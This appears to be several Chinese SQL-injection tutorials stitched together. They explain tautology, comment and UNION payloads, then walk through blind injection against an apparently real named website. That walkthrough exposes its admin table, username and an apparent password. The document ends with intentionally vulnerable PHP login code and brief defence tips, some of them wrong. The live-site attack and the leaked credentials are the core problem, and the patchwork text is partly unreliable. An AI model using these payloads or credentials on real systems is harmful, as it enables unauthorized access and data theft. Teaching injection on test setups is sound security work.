如果我们在页面上输入以下的用户名和密码:
$username = 1' or '1' = '1
$password = 1' or '1' = '1
那么整个查询语句就变为:
SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'
假设参数值是通过GET方法传递到服务器的,且域名为www.example.com,那么我们的访问请求就是:
www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1
对上面的SQL语句作简单分析后我们就知道由于该语句永远为真,所以肯定会返回一些数据,在这种情况下实际上并未验证用户名和密码,并且在某些系统中,用户表的第一行记录是管理员,那这样造成的后果则更为严重,
另外一个查询的例子如下:
SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))
在这个例子中,存在两个问题,一个是括号的用法,还有一个是MD5哈希函数的用法。对于第一个问题,我们可以很容易找到缺失的右括号解决,对于第二个问题,我们可以想办法使第二个条件失效。我们在查询语句的最后加上一个注释符以表示后面的都是注释,常见的注释起始符是/*(在Oracle中是--),也就是说,我们用如下的用户名和密码:
$username = 1' or '1' = '1'))/*
$password = foo
那么整条SQL语句就变为:
SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))
我们的URL请求就变为:
www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo
Union查询SQL注入测试
还有一种测试是利用Union的,利用Union可以连接查询,从而从其他表中得到信息,假设我们有如下的查询:
SELECT Name, Phone, Address FROM Users WHERE Id=$id
然后我们设置id的值为:
$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable
那么整体的查询就变为:
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable
显然这样就能得到所有信用卡用户的信息。
盲SQL注入测试
在上面我们提到过盲SQL注入,即blind SQL injection,它意味着对于某个操作我们得不到任何信息,通常这是由于程序员已经编写了特定的出错返回页面,从而隐藏了数据库结构的信息。
利用推理方法,有时候我们能够恢复特定字段的值。这种方法通常采用一组对服务器的布尔查询,依据返回的结果来推断结果的含义。仍然延续上面的www.example.com
[1] [2] 下一页
现在注入工具横行,自动化的程度已经...不能再自动了.
很多人会熟练的使用啊D,明小子之类的自动注入工具.以为自己就会了...
注入的原理呢.什么是注入.为什么会造成注入.过程...等.
你知道吗?你有没有试过真正的手工注入?没吧.
现在就利用我写的手工注入工具来讲解一下总体手工注入过程.
先找个有注入漏洞的站.很简单满大街都是.
www.jinhu168.com/A3/NewsInfo.asp?id=75
manage_User
username admin
password bfpms
id 35
已经找好了.这是一个标准欠黑型网站.安全度就不用说了.
www.jinhu168.com/A3/NewsInfo.asp?id=75
有注入漏洞的地址.检查一下.
基本确定可能有漏洞.继续.
www.jinhu168.com/A3/NewsInfo.asp?id=75 and exists (select * from manage_User)
查询manage_User这个表名是否存在.
不好意思.这工具老出错...录制这个工具不怎么好用.有好用的有空介绍个啊....
好了继续.
manage_User 存在...页面返回正常...
名字改了下`不存在就返回错误的页面`
这里是给你填写提示语句用的`不用的话清空就行了.
继续.
返回正常.说明存在.继续.等等`听电话`
不好意思.
不是1位哦`回显错误.呵呵`5位的`回显正常`
这样我们就知道 他很多东西了`表..项..还有内容长度.
帐号的第一位的第一个字母不是1所以出错.
呵呵`帐号的第一位的第一个字母是a 正确...所以回显正常.
帐号是什么我想都不用怎么想了吧`5位数的admin
确实是的哦....哈哈.
www.jinhu168.com/A3/NewsInfo.asp?id=75 and 1=(select count(*) from [manage_User] where left(username,5)='admin')
为了给大家学习.我把例句都提取出来了.和程序过程是一样的,大家可以研究下.
其他的密码等也是这种过程. 大家明白了吗?要难不是很难`只是要有耐心.如果简单的话就不会出现
全自动的注入工具了.
希望大家在使用我的工具的同时也能学到点东西.
1.什么是 SQL注入 ,猛戳 查看
2.本地 测试 代码:
如果表单提交正确,就打印hello,“username”
否则,打印“404 not found!”
require 'config.php';
$DBConnection = mysql_connect ( “$dbhost”, “$dbuser”, “$dbpwd” );
mysql_select_db ( “$dbdatabase” );
if(isset($_GET['submit']) && $_GET['submit']){
$sql=“select * from test where name='”.$_GET['username'].“'and password='”.$_GET['password'].“'”;
//echo $sql;exit;
$result=mysql_query($sql,$DBConnection);
$num=mysql_num_rows($result);
if($num>=1)
{
echo “hello,”.$_GET['username'];
}
else {
echo“404 not found”;
}
}
?>
username
password
submit
3.浏览器界面显示:
4.重头戏,sql注入:
5.原理--为什么用户名不正确,却可以显示hello?
我可以echo一下:
$sql=“select * from test where name='”.$_GET['username'].“'and password='”.$_GET['password'].“'”;
echo $sql;exit;
显示:
拿到我的mysql数据库中查询:
可以看到,居然能查到信息,因为sql语句中,前一半单引号被闭合,后一半单引号被 “--”给注释掉,中间多了一个永远成立的条件“1=1”,这就造成任何字符都能成功登录的结果,
手把手叫你SQL注入攻防(PHP语法)脚本安全
,
6.小结:
1)其实这个sql注入过程上很简单,困难的地方在于提交SQL注入语句的灵活性上面,单引号的使用很关键,另外,多用echo打印调试也很值得一试~~
2)GET方式提交表单很危险,所以还是用POST方式吧!
参考:blog.csdn.net/gideal_wang/Article/details/4316691
3)防止SQL注入:可以看出,sql注入就是用户提交一些非法的字符(如本文的单引号’和sql语句的注释号--,还有反斜杠\等),所以要用转义: htmlspecialchars函数,mysql_read_escape_string函数都可以实现。
4)JS段验证表单了,JSP/PHP等后台还要验证码?
---需要,因为friebug可以禁用JS...
--------------------------------------------------------------------------
update:
上面的方法,当password通过md5加密的话,就无法实现注入了,那么就在username上做手脚:
username后面的内容就都被注释掉了。哈哈~
★ 双向跨站(Double Trap XSS)注入分析脚本安全